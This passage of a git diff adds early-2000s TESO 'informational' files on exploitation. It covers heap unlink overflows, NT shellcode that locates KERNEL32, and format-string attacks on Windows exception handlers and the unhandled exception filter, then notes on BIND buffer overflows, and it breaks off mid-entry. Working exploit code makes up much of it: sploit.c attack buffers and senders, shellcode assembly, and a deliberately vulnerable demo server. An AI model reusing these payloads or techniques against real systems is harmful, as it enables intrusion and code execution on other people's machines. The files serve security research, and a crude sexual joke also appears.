register with +it's own address and take advantage of the write ;-) (I am shooked SolarDiz' +did not mention that ;) + +Well, however, exploitation is pretty straight forward now: + + <6> <4 bogus> | + \xff\xff\xff\xfc \xff\xff\xff\xfc + +Where '|' is the chunk boundary (from that point we overflow). Now, the next +two negative numbers are just to survive a few checks in free() and to avoid +NUL bytes. Then we store (retloc - 12) properly encoded and then the return +address, which will return to the 'jmp-ahead'. The buffer before the '|' is +the same as with any x86 exploit, except for the first 12 bytes, because we +have to take care of the extra write operation by the unlink macro. + + +XXXTODO: add off-by-one techniques + +Thanks Solar Designer, for another nasty trick :-] + +=============================================================================== + diff --git a/informationals/teso-i0033.txt b/informationals/teso-i0033.txt new file mode 100644 index 0000000..3a9aaf3 --- /dev/null +++ b/informationals/teso-i0033.txt @@ -0,0 +1,102 @@ +0033 2001/02/25 (not-so) advanced way to find KERNEL32.DLL base address +==== TESO Informational ======================================================= +This piece of information is to be kept confidential. +=============================================================================== + +Description ..........: shellcode enhancement technique to stabilize NT sploits +Date .................: 2000/12/28 06:00 +Author ...............: halvar +Publicity level ......: its very obvious, but not used in any sploits I know +Affected .............: NT/Win32 specific +Type of entity .......: theoretical shit +Type of discovery ....: useful information +Severity/Importance ..: n/a +Found by .............: don't know; I spoke to lorian about this long ago + +=============================================================================== + +Everyone who has played around with NT shellcode knows that we need to rely on +some hardcoded values. As we don't have the luxury of usable syscalls via INT's +as under *NIX, we need to get access to the Windows API by either using values +inside the executable (PE) header or by getting the KERNEL32.DLL base address +somehow. Both approaches rely on hardcoded values; This is bad since we either +need to know the exact NT-Version & Service Pack (for guessing KERNEL32 base) +or the exact version of the executable we're attacking. + +There are a few tricks to figure out the base address of KERNEL32 with maximum +stability, but I will just discuss my favourite one here: + +Exception Handler Parsing + +NT features something called "third-party-exception-handling" or "structured +exception handling" which allows applications to install exception handlers +that get control when (or if) an exception occurs. +The excact structure of these things are documented all over the place in +various articles on Win32 Assembly coding. (winasm32.cjb.net ?) +The structure of these exception handlers is basically a single-linked list +of pointers to functions handling exceptions. + +In memory they consist of two dwords: + +[pointer to next handler structure][pointer to handler code] + +Every function can establish a new exception handler and layer it on top of +all the others, so if an exception occurs and is not handled by the most re- +cently installed handler then the next handler will be called until the +application runs out of self-installed handlers and the default exception +handler in KERNEL32.DLL is called ("Blablah.exe caused an exception at..."). +The default exception handler structure is the end of the chain, and the +pointer to the next handler structure is 0xFFFFFFFF in this case. + +The beginning of the chain (the most recently installed exception handler +structure) is referenced to by a pointer at fs:0. + +So the trick in finding the base address of KERNEL32.DLL is to parse through +the exception handler structures until the end of the chain is reached; The +pointer to the handler code will then point into KERNEL32.DLL. As soon as +we have this address, we scan all page-beginnings backwards (all DLLs are +mapped page-aligned) for a "MZ" signature. + +Some example assembly code for this (this is not size optimized, just for +educational purposes): + + xor ecx, ecx ; this avoids NULL bytes in the shell + mov eax, [fs:ecx] +.tunnel: + mov ecx, [eax] ; Get pointer to next structure + cmp ecx, -1 ; Have we reached the end of the chain ? + jz .skip1 ; Yes, then jump to .skip1 + mov eax, ecx ; No ? Then walk the chain further + jmp .tunnel +.skip1: + mov eax, [eax+4] ; Now we have an address inside KERNEL32 + xor ax, ax ; Kill low 16 bits and thus page-align + xor ecx, ecx ; Move size of a page in ecx (0x1000) + mov ch, 0x10 ; without NULL bytes +.tunnel2: + mov dx, word [eax] ; load first 2 bytes + cmp dx, "MZ" ; compare to our signature + jz .skip2 + sub eax, ecx ; scan one page more backwards in mem + jmp .tunnel2 +.skip2: + +This is a lot more size-efficient than the other methods I've seen to +find the KERNEL32.DLL base address reliably (relying on hardcoded +0x00400000 base address for the executable, then parsing its PE header +to find a function imported from KERNEL32.DLL to get an address within +it). + +One note of caution with this, though: It seems that the installation +of Microsoft Kernel Debugging stuff and Visual Studio will screw the +entire NT exception handling in a way that the final exception handler +points into NTDLL.DLL instead of KERNEL32.DLL. So if you're attacking +a system of which you know it is a development workstation with Visual +Studio installed you might want to try parsing the PE header in the +end :-) + +Have fun, +Halvar + +=============================================================================== + diff --git a/informationals/teso-i0034.txt b/informationals/teso-i0034.txt new file mode 100644 index 0000000..686312c --- /dev/null +++ b/informationals/teso-i0034.txt @@ -0,0 +1,491 @@ +0034 2001/02/25 advanced way to more reliably exploit NT format bugs remotely +==== TESO Informational ======================================================= +This piece of information is to be kept confidential. +=============================================================================== + +Description ..........: way of getting control with format string bugs +Date .................: 2000/12/28 06:00 +Author ...............: halvar +Publicity level ......: unknown +Affected .............: NT/Win32 specific +Type of entity .......: NT internals +Type of discovery ....: useful information +Severity/Importance ..: n/a +Found by .............: halvar + +=============================================================================== + +We all know and love format string bugs. Especially on closed-source platforms, +then can still be found in large numbers. Unfortunately, the really interesting +affected programs under NT run multi-threaded, making it relatively hard to +reliably get execution under our control as we cannot overwrite addresses on +the stack. Under Win2k, a watchdog will restart the service once it dies, so +if we are first to connect to it after the restart we can reliably guess what +to overwrite. Under NT, no watchdog is around, so you have only one shot to +get control. + +Now, the other choice that we have is an import table overwrite, which will not +always work either as apparently many compilers set the import address table +inside the code section, making it a read-only page once it has been filled by +the OS. Writing to it will result in a GPF. + +This informational will play around with a new cool way of getting control of +our thread by a yet-unknown technique called "TIB Exception Structure +Overwrite" (TESO) :-P. + +In my last informational (0033) I described a way to walk from the pointer at +fs:[0] through the exception structures until I have found a function inside +KERNEL32.DLL. This time, I will play with structured exception handling again, +so it is a good idea to have absorbed some information from the last informat- +ional. + +Every thread that is created has a structure called "Thread Information Block" +(TIB) mapped at fs:[0]. (Some people call it "Thread Exception Block", and the +Wine project has a pretty good/slightly errant documentation of it in thread.h) +The first DWORD of this structure is a pointer to an __EXCEPTION_FRAME +structure, which consists of two pointers: One to the next +__EXCEPTION_FRAME, and one to the function that is supposed to +handle any exception that occurs. Now, the trick is to create a fake exception +handling structure in memory and then to overwrite as many TIB entries as we +can until we trigger an exception. When that exception is triggered, our fake +exception handling structure will lead to control being transferred to the +code we pointed to in our structure. + +What we have to do in our format string is: + +1. Create a fake exception handling structure somewhere in memory. This +means we either have to know an address at which a pointer to a buffer we +control lies or we have to write a pointer to a buffer we control into +memory at some point. + +2. Start overwriting TIB's, starting with the first thread, then the second +etc. until there are no more threads and our attempts to write to a nonpaged +section of memory will lead to an exception. + +3. The exception will transfer control to our exceptionhandler (the buffer +we control) in which we can then execute code. + +Problem Nr 1: We cannot write to any location outside of our current data +segment, how the hell are we going to write to fs:[0] ? + +Answer: The TIB is mapped into the data/code segment as well, at an address +pointed to by fs:[0x18]. I ran a few tests on a few systems from NT4 SP5 up +to Win2k SP1 and one could foresee certain regularities between all these +systems that allow us to reliably tell where the TIB of a certain thread +will be in regular memory. +The regularity in TIB allocation follows here: +The first thread of an application always has his TIB mapped at 0x7FFDE000, +and up until the 11th thread (which lies at 0x7FFD4000) we have single page +decrements from the initial value (-0x1000). Then we have a rather odd gap, +and the 12th threads TIB will be located at 0x7FFAF000. All subsequent +threads will have their TIB allocated sequentally with (-0x1000) difference +from here on, up until thread 250 where I stopped testing :-) + +Problem Nr 2: We cannot easily write to addresses containing NULL bytes, +and we cannot assure that the location (TIB)-1 will be paged. +What can we do here ? + +Answer: Not much. This is one of the major drawbacks of this approach. +The problem lies in a form of memory fragmentation that occurs like this: +Several threads are created, and their TIBs are paged into the CS/DS acc- +ording to the rules outlined before. Now, some of these threads will exit +again and their respective TIB-pages will be freed; this can lead to +a memory layout somewhat like this: + +[0x7FFDE000 -- paged] +[0x7FFDD000 -- nonpaged] +[0x7FFDC000 -- nonpaged] +[0x7FFDB000 -- paged] +[0x7FFDA000 -- paged] +[0x7FFD9000 ... nonpaged from here on] + +Now we can see that we get into trouble as we will trigger an exception +after having overwritten the first exception handler, without touching +the other two handlers we would need to overwrite. + +Now the trick is that as soon as new threads are created, their TIBs are +paged into these gaps. So what we can do is to create our thread that +will execute the format string bug, and then, before we actually execute +the vulnerable code, create a lot of arbitrary threads, hopefully enough +to fill all gaps. We can then sequentally overwrite the exception handlers +and trigger an exception to gain control. + +Problem Nr 3: +While experimenting with exceptionhandlers for a while I found out that +apparently NT wants the pointer at fs:[0] to point somewhere between the +"stack bottom" and the "stack top" of the offending thread. +(For those interested, that validation happens in a function called +RtlDispatchException() which is a called by KiUserExceptionDispatcher) +If the pointer points elsewhere the user-installed exception handler will +not be called; an exception called EXCEPTION_INVALID_DISPOSITION will be +raised instead. + +Answer: +Since we clearly cannot write an EXCEPTION_FRAME for each thread into its +stack region we need a different solution. Looking at thread.h from the +WINE project, we can see that the stack_top and stack_low variables are +stored at fs:[4] and fs:[8] respectively. Now this implies that we can +easily alter the range in which our EXCEPTION_FRAME can be created. So +what we'll need to do in addition to overwriting the pointer at fs:[0] is +to overwrite the stack_top variables high-order byte with 0x7F, thus mak- +ing sure that we pass the tests inside RtlDispatchException and praying +that we don't fuck anything up so badly that it'll crash NT :) +The EXCEPTION_FRAME has to be created somewhere above stack_low in memory +then. For my example, I will construct it inside MSVCRT.DLL's data segment. + +Here follows the code (I compiled stuff with BC++; I am not sure how stuff +looks when a different compiler works his magic, so you'll probably need +some tweaking.): + +---- snip ---- lameserver.c ------- +#include +#include +#include +#include + +unsigned long __stdcall NewThread(void *singlearg) +{ + int sock, blah; + char lame2[5000],lame[3000]; + + sock = (int)singlearg; + blah = recv(sock, lame, sizeof(lame)-1, 0); + if(blah != -1) + { + lame[blah] = 0; // NULL-terminate + sprintf(lame2, lame); + printf("%s\n", lame2); + } + + send(sock, lame2, strlen(lame2), 0); + Sleep(500); + closesocket(sock); + ExitThread(1); +} + +int main(int argc, char **argv) +{ + WSADATA WSAdat; + struct sockaddr_in Host; + int idThread; + SOCKET sock1; + + WSAStartup(0x101, &WSAdat); // Startup the sockets interface + Host.sin_family = AF_INET; + Host.sin_addr.s_addr = 0; + Host.sin_port = htons(999); + sock1 = socket(AF_INET, SOCK_STREAM, 0); + bind(sock1, (struct sockaddr *)&Host, sizeof(struct sockaddr_in)); + while(1) + { + listen(sock1, 0x3); + printf("Waiting for connection\n"); + CreateThread(NULL, 0, &NewThread, (void *)accept(sock1, NULL, NULL), 0, &idThread); + } +} +----- snip ---- lameserver.c EOF + +The server will wait for an incoming connection and spawn a new thread. For each +connection the thread will read a string from the network, feed it into sprintf() +to create something format-string-buggish and then echo it back to the client. It +will then disconnect and kill the thread it just created. + +----- snip ---- lameclient.c -------- +#include +#include +#include +#include + +#define MAX_THREAD_NORMAL 20 +#define MAX_THREAD_LINGER 10 + +int ThreadCount = MAX_THREAD_NORMAL; +int ThreadLinger = MAX_THREAD_LINGER; + +void NewThread(void *singlearg) +{ + int sock, iLinger; + struct sockaddr_in Host; + unsigned long rndval; + + iLinger = 0; // zero the var + + if((GetTickCount() & 0xF) > 13) // set a certain frequency for lingering + { // connections + Sleep(0); + if(ThreadLinger > 0) + { + ThreadLinger--; + rndval = 0xFFFF; + iLinger = 1; // set iLinger to TRUE + } + } + + if(iLinger == 0) + { + Sleep(0); + rndval = GetTickCount() & 0xFF; + Sleep(0); + rndval *= (GetTickCount() & 0x7F); + } + printf("[%lx] Connecting with a wait time of %ld ms -- ThreadCount is %ld \n", singlearg, rndval, MAX_THREAD_NORMAL-ThreadCount-1); + + sock = socket(AF_INET, SOCK_STREAM, 0); + Host.sin_family = AF_INET; + Host.sin_addr.s_addr = 0x0100007F; // 127.0.0.1 + Host.sin_port = htons(999); + + connect(sock, (struct sockaddr *)&Host, sizeof(Host)); + Sleep(rndval); + printf("[%lx] Exiting...\n", singlearg); + closesocket(sock); + ThreadCount++; + if(iLinger) + ThreadLinger++; + + ExitThread(0); +} + +int main(int argc, char **argv) +{ + WSADATA wsaDat; + int idThread; + + idThread = 0; + + WSAStartup(0x101, &wsaDat); + while(1) + { + if(ThreadCount > 0) + { + ThreadCount--; + Sleep(GetTickCount() & 0x3FF); + CreateThread(NULL, 0, &NewThread, (void *)idThread, 0, &idThread); + } + else + Sleep(GetTickCount() & 0x3FFF); + } +} +----- snip ---- lameclient.c EOF + +This lame piece of crap multithreaded client will create a bunch of threads +which will connect to our lame server, keep a connection open for a certain +random time and then close the connection again. A few lingering connections +are around that take a bit longer to finish. As soon as the maximum number +of threads is reached, the client will pause for a while, letting a bunch of +threads die again. This is pretty good to simulate the fragmentation in +memory in case the connection count on the server is receding. +An example of fragmented memory just after the connection count dropped from +29 to 17 is here: + +001B:7FFDE000 0012FD50 00130000 0012E000 00000000 P............... +001B:7FFDD000 0538FFDC 05390000 0538F000 00000000 ..8...9...8..... +001B:7FFDC000 00E8FBF8 00E90000 00E8F000 00000000 ................ +001B:7FFDB000 00F8FBF8 00F90000 00F8F000 00000000 ................ +001B:7FFDA000 ???????? ???????? ???????? ???????? fragmented :-) +001B:7FFD9000 0168FBF8 01690000 0168F000 00000000 ..h...i...h..... +001B:7FFD8000 0178FBF8 01790000 0178F000 00000000 ..x...y...x..... +001B:7FFD7000 ???????? ???????? ???????? ???????? fragmented :-) +001B:7FFD6000 04C8FBF8 04C90000 04C8F000 00000000 ................ +001B:7FFD5000 0398FBF8 03990000 0398F000 00000000 ................ +001B:7FFD4000 0438FBF8 04390000 0438F000 00000000 ..8...9...8..... +001B:7FFAF000 ???????? ???????? ???????? ???????? fragmented :-) +001B:7FFAE000 0208FBF8 02090000 0208F000 00000000 ................ +001B:7FFAD000 0218FBF8 02190000 0218F000 00000000 ................ +001B:7FFAC000 ???????? ???????? ???????? ???????? fragmented :-) +001B:7FFAB000 ???????? ???????? ???????? ???????? fragmented :-) +001B:7FFAA000 0308FBF8 03090000 0308F000 00000000 ................ +001B:7FFA9000 ???????? ???????? ???????? ???????? fragmented :-) +001B:7FFA8000 0318FBF8 03190000 0318F000 00000000 ................ +001B:7FFA7000 ???????? ???????? ???????? ???????? fragmented :-) +001B:7FFA6000 ???????? ???????? ???????? ???????? fragmented :-) +001B:7FFA5000 04D8FBF8 04D90000 04D8F000 00000000 ................ +001B:7FFA4000 ???????? ???????? ???????? ???????? fragmented :-) +001B:7FFA3000 04A8FBF8 04A90000 04A8F000 00000000 ................ +001B:7FFA2000 0528FBF8 05290000 0528F000 00000000 ................ +001B:7FFA1000 04B8FBF8 04B90000 04B8F000 00000000 ................ + +Now, what our exploit needs to do is: + +1. Connect to the server to create a thread that will later send the +format string. +2. Connect to the server with a bunch of more threads to fill in as many +gaps as possible to "defragment" the memory. +3. The first created thread will now start to write to the exception +handlers and then trigger an exception. In order to pass the checks inside +KiUserExceptionDispatcher() we have to overwrite the highest-order byte +of the stack_top variable located at fs:7 as well. + +The code for this follows right here :) + +---- snip --- sploit.c +#include +#include +#include +#include + +/* +What we want to do with the format string is this: +Write 0x78038010 to location 0x78038004; then write an INT3 to 0x78038010, +then write 0x78038000 to the exception handlers until we hit an exception... +*/ + + +unsigned char szAttackBuffer[] = { +"\x04\x80\x03\x78%12c%n " // Create ptr to our code +"\x05\x80\x03\x78%c%105c%n " +"\x06\x80\x03\x78%.f%123c%n " +"\x07\x80\x03\x78%.f%65c%n " + +"\x10\x80\x03\x78%.f%76c%n%51c%.f" // Create a single 0xCC as "payload" + +//--- First Thread +"\x07\xE0\xFD\x7F%123c%n%c%c " // set the stack top to 0x7F120000 ;> +"\x01\xE0\xFD\x7F%250c%n " // write 0x80 to byte 2 of xcpt frame * +"\x02\xE0\xFD\x7F%125c%c%n%c " // write 0x03 to byte 3 of xcpt frame * +"\x03\xE0\xFD\x7F%c%110c%n%.f" // write 0x78 to byte 4 +"\xFD\xDF\xFD\x7F%c%n%128c%c " // write 0x00 to byte 1 and pad to 00 +//--- Second Thread +"\x07\xD0\xFD\x7F%123c%n%c%c " // set stack top to 0x7Fxxxxxx :) +"\x01\xD0\xFD\x7F%250c%n " // write 0x80 to byte 2 +"\x02\xD0\xFD\x7F%125c%c%n%c " // write 0x03 to byte 3 +"\x03\xD0\xFD\x7F%c%110c%n%.f" // write 0x78 to byte 4 +"\xFD\xCF\xFD\x7F%c%n%128c%c " // write 0x00 to byte 1 and pad to 00 +//--- Third Thread +"\x07\xC0\xFD\x7F%123c%n%c%c " // set stack top to 0x7Fxxxxxx :) +"\x01\xC0\xFD\x7F%250c%n " // write 0x80 to byte 2 +"\x02\xC0\xFD\x7F%125c%c%n%c " // write 0x03 to byte 3 +"\x03\xC0\xFD\x7F%c%110c%n%.f" // write 0x78 to byte 4 +"\xFD\xBF\xFD\x7F%c%n%128c%c " // write 0x00 to byte 1 and pad to 00 +//--- Fourth Thread +"\x07\xB0\xFD\x7F%123c%n%c%c " // set stack top to 0x7Fxxxxxx :) +"\x01\xB0\xFD\x7F%250c%n " // write 0x80 to byte 2 +"\x02\xB0\xFD\x7F%125c%c%n%c " // write 0x03 to byte 3 +"\x03\xB0\xFD\x7F%c%110c%n%.f" // write 0x78 to byte 4 +"\xFD\xAF\xFD\x7F%c%n%128c%c " // write 0x00 to byte 1 and pad to 00 +//--- Fifth Thread +"\x07\xA0\xFD\x7F%123c%n%c%c " // set stack top to 0x7Fxxxxxx :) +"\x01\xA0\xFD\x7F%250c%n " // write 0x80 to byte 2 +"\x02\xA0\xFD\x7F%125c%c%n%c " // write 0x03 to byte 3 +"\x03\xA0\xFD\x7F%c%110c%n%.f" // write 0x78 to byte 4 +"\xFD\x9F\xFD\x7F%c%n%128c%c " // write 0x00 to byte 1 and pad to 00 +//--- Sixth Thread +"\x07\x90\xFD\x7F%123c%n%c%c " // set stack top to 0x7Fxxxxxx :) +"\x01\x90\xFD\x7F%250c%n " // write 0x80 to byte 2 +"\x02\x90\xFD\x7F%125c%c%n%c " // write 0x03 to byte 3 +"\x03\x90\xFD\x7F%c%110c%n%.f" // write 0x78 to byte 4 +"\xFD\x8F\xFD\x7F%c%n%128c%c " // write 0x00 to byte 1 and pad to 00 +//--- Seventh Thread +"\x07\x80\xFD\x7F%123c%n%c%c " // set stack top to 0x7Fxxxxxx :) +"\x01\x80\xFD\x7F%250c%n " // write 0x80 to byte 2 +"\x02\x80\xFD\x7F%125c%c%n%c " // write 0x03 to byte 3 +"\x03\x80\xFD\x7F%c%110c%n%.f" // write 0x78 to byte 4 +"\xFD\x7F\xFD\x7F%c%n%128c%c " // write 0x00 to byte 1 and pad to 00 +//--- Eight Thread +"\x07\x70\xFD\x7F%123c%n%c%c " // set stack top to 0x7Fxxxxxx :) +"\x01\x70\xFD\x7F%250c%n " // write 0x80 to byte 2 +"\x02\x70\xFD\x7F%125c%c%n%c " // write 0x03 to byte 3 +"\x03\x70\xFD\x7F%c%110c%n%.f" // write 0x78 to byte 4 +"\xFD\x6F\xFD\x7F%c%n%128c%c " // write 0x00 to byte 1 and pad to 00 +//--- Ninth Thread +"\x07\x60\xFD\x7F%123c%n%c%c " // set stack top to 0x7Fxxxxxx :) +"\x01\x60\xFD\x7F%250c%n " // write 0x80 to byte 2 +"\x02\x60\xFD\x7F%125c%c%n%c " // write 0x03 to byte 3 +"\x03\x60\xFD\x7F%c%110c%n%.f" // write 0x78 to byte 4 +"\xFD\x5F\xFD\x7F%c%n%128c%c " // write 0x00 to byte 1 and pad to 00 +//--- Tenth Thread +"\x07\x50\xFD\x7F%123c%n%c%c " // set stack top to 0x7Fxxxxxx :) +"\x01\x50\xFD\x7F%250c%n " // write 0x80 to byte 2 +"\x02\x50\xFD\x7F%125c%c%n%c " // write 0x03 to byte 3 +"\x03\x50\xFD\x7F%c%110c%n%.f" // write 0x78 to byte 4 +"\xFD\x4F\xFD\x7F%c%n%128c%c " // write 0x00 to byte 1 and pad to 00 +//--- Eleventh Thread +"\x07\x40\xFD\x7F%123c%n%c%c " // set stack top to 0x7Fxxxxxx :) +"\x01\x40\xFD\x7F%250c%n " // write 0x80 to byte 2 +"\x02\x40\xFD\x7F%125c%c%n%c " // write 0x03 to byte 3 +"\x03\x40\xFD\x7F%c%110c%n%.f" // write 0x78 to byte 4 +"\xFD\x3F\xFD\x7F%c%n%n" // write 0x00 to byte 1 and trigger xception +}; + +int main(int argc, char **argv) +{ + WSADATA wsaDat; + struct sockaddr_in Host; + int sock, socks[10], i; + + WSAStartup(0x101, &wsaDat); + + Host.sin_family = AF_INET; + Host.sin_addr.s_addr = 0x0100007F; + Host.sin_port = htons(999); + + sock = socket(AF_INET, SOCK_STREAM, 0); + connect(sock, (struct sockaddr *)&Host, sizeof(Host)); // create attack + // thread + for(i = 1; i < 11; i++) + { + socks[i] = socket(AF_INET,SOCK_STREAM, 0); + connect(socks[i], (struct sockaddr *)&Host, sizeof(Host)); + } + Sleep(50); + send(sock, szAttackBuffer, strlen(szAttackBuffer), 0); +} +----- snip --- sploit.c EOF + +Now, we run into a few small limitations of our compilers snprintf()-function, +apparently the runtime of BC++ will not allow us to have too long output, so +we cannot overwrite more than 10 exception handlers in the current setup. +(This number can be optimized by choosing better addresses for the EXCEPTION_ +FRAME structure and by optimizing the writing process where possible). +Therefore, under really heavy load (dozens of threads active at one time) +one might want to create multiple threads which overwrite different subsets +of the TIBs a time. This is up to the attackers creativity, I am not going +to play through every possible situation here. + +Testrun: The above examples were used for 11 trial runs (don't ask why). +(Remember, 10 of the threads in the process are _our_ threads, so de-facto +load of the server without our intervention is the value in brackets) + +Try No #1 Threads in Process Address of thread TIB Status ? + 1 19(9) 0x7FFDD000 SUCCESS + 2 21(11) 0x7FFDC000 SUCCESS + 3 28(18) 0x7FFDD000 SUCCESS + 4 27(17) 0x7FFD5000 SUCCESS + 5 18(8) 0x7FFDD000 SUCCESS + 6 29(19) 0x7FFA6000 FAILURE + 7 24(14) 0x7FFDB000 SUCCESS + 8 27(17) 0x7FFD6000 SUCCESS + 9 31(21) 0x7FFA7000 FAILURE + 10 30(20) 0x7FFA6000 FAILURE + 11 25(15) 0x7FFD6000 SUCCESS + +Now, for a server with a load between 8-21 threads (as the example program +lameserver.c and lameclient.c create) the example exploit will yield decent +results with an exploitation reliability of about 72%. (Yes I know I need +more test results to make reliable assumptions about reliability ! :) + +The fun part is that +this will work against any SP of NT/2k known to me and will even work if the +binaries in memory are different from those expected in the exploit (assuming +the writable area where we create the EXCEPTION_FRAME stays writable). +In fact you have to know very little in order to have a pretty decent proba- +bility of succeeding. But keep in mind its only a propability, and this is +not the nice 80's style single-thread process-only exploitation most people +are used to. + +Possible ways to improve the probability for success (up to the reader to +actually try out :) +1. Try to use multiple threads to overwrite a larger number of EXCEPTION_FRAME +pointers and keeping the thread alive afterwards. +2. The worse the memory is fragmented, the better our chances to get our main +exploiting thread to be among the first 10 in memory. So creating memory frag- +mentation works for us -- try creating a heavy server load with 30-40 threads, +then let them all die quickly. Connect immediately afterwards with the main +exploiting thread. + +Ok, Tuesday night, 3 o'clock in the morning. Time for bed. Stay tooned for my +next informational presenting yet another leeto Win32 fmt bug exploitation +technique: UEFA (Unhandled Exception Filter Attack) :) + +=============================================================================== + diff --git a/informationals/teso-i0035.txt b/informationals/teso-i0035.txt new file mode 100644 index 0000000..147902a --- /dev/null +++ b/informationals/teso-i0035.txt @@ -0,0 +1,107 @@ +0035 2001/03/13 safely getting control in fmt bugs if KERNEL32 is known +==== TESO Informational ======================================================= +This piece of information is to be kept confidential. +=============================================================================== + +Description ..........: way of getting control with format string bugs +Date .................: 2001/03/13 11:00 +Author ...............: halvar +Publicity level ......: unknown +Affected .............: NT/Win32 specific +Type of entity .......: NT internals +Type of discovery ....: useful information +Severity/Importance ..: n/a +Found by .............: halvar + +=============================================================================== + +After our last excursion into the depths of NT exception handling, we will now +cover another interesting aspect: Unhandled Exception Filter Attacks (UEFA). + +In Win32 exception handling, it is possible to set something called "Unhandled +Exception Filter" which is basically a global exception handler for all threads +in a particular task. If an exception occurs and none of the per-thread except- +ion handlers handle it, this function will be called. + +The idea in this case is to use the format bug to set an Unhandled Exception +Filter to an address where our code is stored, and to subsequently trigger an +exception that isn't handled by any per-thread exception handlers. + +A quick run with IDA through KERNEL32.DLL gives us the following disassembly +for the function + +void * __stdcall SetUnhandledExceptionFilter(void *lpTopLevelExceptionFilter); +.text:77F1D480 SetUnhandledExceptionFilter proc near +.text:77F1D480 +.text:77F1D480 lpTopLevelExceptionFilter= dword ptr 4 +.text:77F1D480 +.text:77F1D480 mov eax, dword_77F45418 +.text:77F1D485 mov ecx, [esp+lpTopLevelExceptionFilter] +.text:77F1D489 mov dword_77F45418, ecx +.text:77F1D48F retn 4 +.text:77F1D48F SetUnhandledExceptionFilter endp + +Ok, here we see that the address of the exception filter has to be written to +the void * at 0x77F45418 on my box. This means, too, that we will need to know +the exact version of KERNEL32.DLL in order to change the exception filter. +So this technique is only useful if you either are really good at remotely fin- +gerprinting NT versions, service packs and language versions or have a format +bug that allows you to read back data from KERNEL32.DLL. + +While we need to know a lot more info about the computer we're attacking, we +only need 5 writes to get control: 4 for the new exception filter pointer and +1 to trigger the exception. + +Anyways, here is a quick modified sploit.c which will get control to the 0xCC +by overwriting the top level exception filter instead of all the per-thread +exception handlers. (Again, run this against lameserver.c :) + +------- snip --- sploit.c +#include +#include +#include +#include + +unsigned char szAttackBuffer[] = { +"\x10\x80\x03\x78%200c%n " // Create a single 0xCC as "payload" + +//--- First Thread +"\x18\x54\xF4\x77%c%62c%n" // write 0x10 +"\x19\x54\xF4\x77%c%107c%n%.f" // write 0x80 +"\x1A\x54\xF4\x77%126c%n " // write 0x03 +"\x1B\x54\xF4\x77%c%111c%n%n" // write 0x78 and trigger exception + +}; + +int main(int argc, char **argv) +{ + WSADATA wsaDat; + struct sockaddr_in Host; + int sock, socks[10], i; + + WSAStartup(0x101, &wsaDat); + + Host.sin_family = AF_INET; + Host.sin_addr.s_addr = 0x0100007F; + Host.sin_port = htons(999); + + sock = socket(AF_INET, SOCK_STREAM, 0); + connect(sock, (struct sockaddr *)&Host, sizeof(Host)); // create attack + // thread + for(i = 1; i < 11; i++) + { + socks[i] = socket(AF_INET,SOCK_STREAM, 0); + connect(socks[i], (struct sockaddr *)&Host, sizeof(Host)); + } + Sleep(50); + send(sock, szAttackBuffer, strlen(szAttackBuffer), 0); +} +------------- snip --- sploit.c EOF + +Stay tooned for the next informational, featuring nude chix delivering pizza to +randomizer and acpizer offering them some KY-lubrication. (KY-lube-technique) + +Cheers, Halvar + +=============================================================================== + diff --git a/informationals/teso-i0036.txt b/informationals/teso-i0036.txt new file mode 100644 index 0000000..b4960e5 --- /dev/null +++ b/informationals/teso-i0036.txt @@ -0,0 +1,142 @@ +0036 2001/04/16 bugs in BIND 8.2.3-REL, ProFTPd, ... + +==== TESO Informational ======================================================= +This piece of information is to be kept confidential. +=============================================================================== + +Description ..........: bugs in BIND 8.2.3-REL, proftpd, ... +Date .................: 2001/04/16 18:00 +Author ...............: scut +Publicity level ......: unknown +Affected .............: BIND 8.2.3-REL and below, ProFTPd +Type of entity .......: bugs +Type of discovery ....: vulnerability +Severity/Importance ..: medium +Found by .............: scut + +=============================================================================== + +BIND 8.2.3-REL and below contains two buffer overflows in the handling of +UPDATE packets. + +### bug 1 + +BIND-8.2.3-REL/src/bin/named/ns_update.c:1636 + + case T_SIG: + if (dlen < SIG_HDR_SIZE || size < dlen) + return (0); + memcpy(cp1, cp, SIG_HDR_SIZE); + size -= SIG_HDR_SIZE; + cp += SIG_HDR_SIZE; + cp1 += SIG_HDR_SIZE; + n = dn_expand(msg, eom, cp, (char *)cp1, size); + if (n < 0 || n + SIG_HDR_SIZE > dlen) + return (0); + cp += n; + n1 = dlen - n - SIG_HDR_SIZE; + n = strlen((char *)cp1) + 1; + cp1 += n; +/* #1 */ + if (size < n1) + return (0); + memcpy(cp1, cp, n1); + cp1 += n1; + return (cp1 - cp1init); + +This function processes T_SIG resource records within UPDATE packets. This +piece of code is difficult to reach remotely, as discussed below. + +The buffer overflow happens because `cp1' and `size' get desynchronized. +Normally `cp1' is a pointer into the data buffer that is written to when +processing the packet. `size' is the number of remaining bytes within this +buffer that are unused. However in this case the author of the file forgot +to subtract the number of bytes that are written to the buffer by the +dn_expand function from the `size' variable. So `size' still denotes the +number of bytes remaining in the buffer, before dn_expand was called, +while `cp1' has been moved. This allows one to overflow the buffer by as +much as MAXDNAME (1025) bytes, minus a few in the following memcpy call. + +At position #1 this line has to be inserted to fix the problem: + + size -= n; + +Sometimes, the problem lies in the invisible code, forgotten to be written. + +### bug 2 + +BIND-8.2.3-REL/src/bin/named/ns_update.c:1655 + + case T_NXT: + n = dn_expand(msg, eom, cp, (char *)cp1, size); + if (n < 0 || (u_int)n >= dlen) + return (0); + size -= n; +/* #1 */ + cp += n; + n1 = dlen - n; + n = strlen((char *)cp1) + 1; + cp1 += n; + /* + * The first bit of the first octet determines the format + * of the NXT record. A format for types >= 128 has not + * yet been defined, so if bit zero is set, we just copy + * what's there because we don't understand it. + */ + if ((*cp & 0x80) == 0) { + /* + * Bit zero is not set; this is an ordinary NXT + * record. The bitmap must be at least 4 octets + * because the NXT bit should be set. It should be + * less than or equal to 16 octets because this NXT + * format is only defined for types < 128. + */ + if (n1 < 4 || n1 > 16) + return (0); + } + if (n1 > size) + return (0); + memcpy(cp1, cp, n1); + cp1 += n1; + return (cp1 - cp1init); + +Here the authors of BIND fall for a mistake by not knowing the meaning of +their own API. The `dn_expand' function returns the number of bytes the +source processing pointer was advanced. But it may write as much as `size' +bytes to the output buffer, which is given by pointer `cp1'. + +Hence, `size' is getting decreased by the wrong value, the number of bytes +the source pointer was moved, while the destination pointer `cp1' is moved +correctly. This can lead to a buffer overflow condition in which up to +MAXDNAME (minus a few) bytes can be overwritten outside of the buffer. + +The UPDATE code is difficult to reach and requires though ACL checks to be +passed. Even then, behind the buffer you can overflow there are no important +informations which can be used to increase your current access level. To +conclude: this buffer overflow may be interesting, but is most likely not +exploitable except in very special cases (architectures with different stack +layouts, priviledge to issue UPDATE packets, ...). + + + +ProFTPd messed code + +proftpd-1.2.0rc2/modules/mod_ls.c:333 + + 